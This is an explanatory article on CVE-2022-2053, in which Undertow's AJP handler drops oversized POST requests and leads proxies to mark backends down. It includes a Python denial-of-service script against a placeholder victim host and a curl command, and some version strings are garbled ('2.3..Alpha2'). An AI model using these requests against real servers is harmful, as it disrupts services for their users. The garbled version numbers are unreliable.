Published: June 2022  
Fixed in: Undertow 2.2.19.Final, 2.3..Alpha2  
Severity: Moderate  
CWE: CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')  
CVE Details: NVD link  
Upstream Advisory: Red Hat Security Advisory

Introduction

In 2022, security researchers found a vulnerability in Undertow, a popular Java web server used in WildFly, JBoss EAP, and several cloud-native Java platforms. The problem affected all setups using AJP (Apache Jserv Protocol) connectors to handle requests from front-end proxies like Apache httpd’s mod_cluster or mod_proxy_balancer.

A flaw in Undertow’s AJP request handling caused the server to drop connections when a POST body exceeded a certain size, *without informing the front-end proxy*. This can cause the proxy to mark the backend as down, affecting service availability and potentially leading to a denial of service (DoS).

This article explains the vulnerability, its exploitation, code patterns, possible mitigations, and links to the official advisories. We’ll use simple language and practical examples.

What Is CVE-2022-2053?

When an HTTP POST request is received via AJP and the posted data is larger than Undertow's max-post-size (or maxEntitySize), Undertow's AJP handler drops the connection *without sending any reply*. To an Apache proxy, it looks like the backend just died.

Why Is This Bad?

Proxies that act as intermediaries—like mod_cluster and mod_proxy_balancer—expect the backend to at least send an error. When they get nothing, they assume the backend is faulty and *stop sending requests to it* for a period of time.

- With mod_cluster: Backend is marked DOWN until the next health check (default 10 seconds). For those seconds, users see a 503 Service Unavailable page.
- With mod_proxy_balancer: Backend is also marked failed, but it has a recovery mechanism (“forcerecovery”), so a 503 should not be shown unless all backends are down.

An attacker can exploit this by sending large POST requests, causing your server to get marked "down" repeatedly.

Imagine your Undertow config has a POST size limit of 1MB

<subsystem xmlns="urn:jboss:domain:undertow:4.">
    <server name="default-server">
        <http-listener name="default" socket-binding="http" />
        <ajp-listener name="ajp" socket-binding="ajp" max-post-size="1048576"/>
        ...
    </server>
</subsystem>

Attacker sends a POST request with a body of 10MB to a web form (behind Apache, forwarded via AJP).

2. The POST goes through Apache’s mod_cluster/proxy_balancer to Undertow.

How to Exploit

Goal: Knock the backend out of the pool with a simple POST.

Attack Script (Python)

Here’s how an attacker might trigger the flaw with raw AJP, but it's most often exploited via HTTP through a reverse proxy:

import requests
url = 'http://victim.example.com/upload';

big_body = b'A' * (2 * 1024 * 1024)   # 2MB, assuming server limit is 1MB

headers = {
    'Content-Type': 'application/octet-stream'
}

for i in range(3):  # Send multiple to force "all workers down"
    resp = requests.post(url, headers=headers, data=big_body)
    print("Status:", resp.status_code)

What happens:

If you want to trigger this using curl

curl -v -X POST http://localhost/upload -H "Content-Type: application/octet-stream" --data-binary "@/path/to/largefile"

Replace /path/to/largefile with a file larger than the Undertow POST limit.

Impact

- Short-term Denial of Service (10 seconds or more): End users see error 503 for a few seconds/minutes if all backends are taken out.
- Error Recovery Delay: Application server only recovers when the health check interval elapses (mod_cluster defaults to every 10 seconds).
- Repetition = Prolonged Outage: By sending malicious large POSTs repeatedly, attackers can keep backends out of service.

Patched Versions:

- 2.2.19.Final release note  
 - 2.3..Alpha2 release note

The patch ensures Undertow now returns a proper error response to the proxy when the POST size exceeds the configured max, so the proxy won't mistakenly mark the worker as dead.

Official References

- NIST NVD Entry (CVE-2022-2053)
- Red Hat CVE Page
- Undertow Issue UNDERTOW-2077
- Undertow 2.2.19.Final Release Note
- mod_cluster Recovery Discussion

Summary

CVE-2022-2053 shows why proper protocol handling between reverse proxies and application servers is crucial for keeping services available. The bug allowed attackers to easily disrupt Java web apps just by sending “too large” POST requests, knocking backends out of rotation from the proxy’s view. Fixes are available, and upgrading is strongly recommended.

Check your Undertow version now to ensure you're safe from this sneaky vector!

Further reading:  
- Undertow User Guide: AJP configuration
- Apache HTTPD Proxy Balancer Recovery Options


*Stay safe, keep your servers patched, and monitor your error logs for strange activity!*

Timeline

Published on: 08/05/2022 16:15:00 UTC
Last modified on: 08/11/2022 14:06:00 UTC